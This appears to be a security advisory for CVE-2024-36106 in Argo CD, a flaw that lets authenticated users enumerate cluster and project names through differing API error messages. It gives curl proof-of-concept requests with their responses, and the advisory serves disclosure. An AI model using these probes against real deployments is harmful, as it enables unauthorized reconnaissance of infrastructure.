CVE-2024-36106: Argo-cd authenticated users can enumerate clusters by name

It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:

$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization:
Bearer $token"
{"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎

$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati
on: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}

It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.

curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}

curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}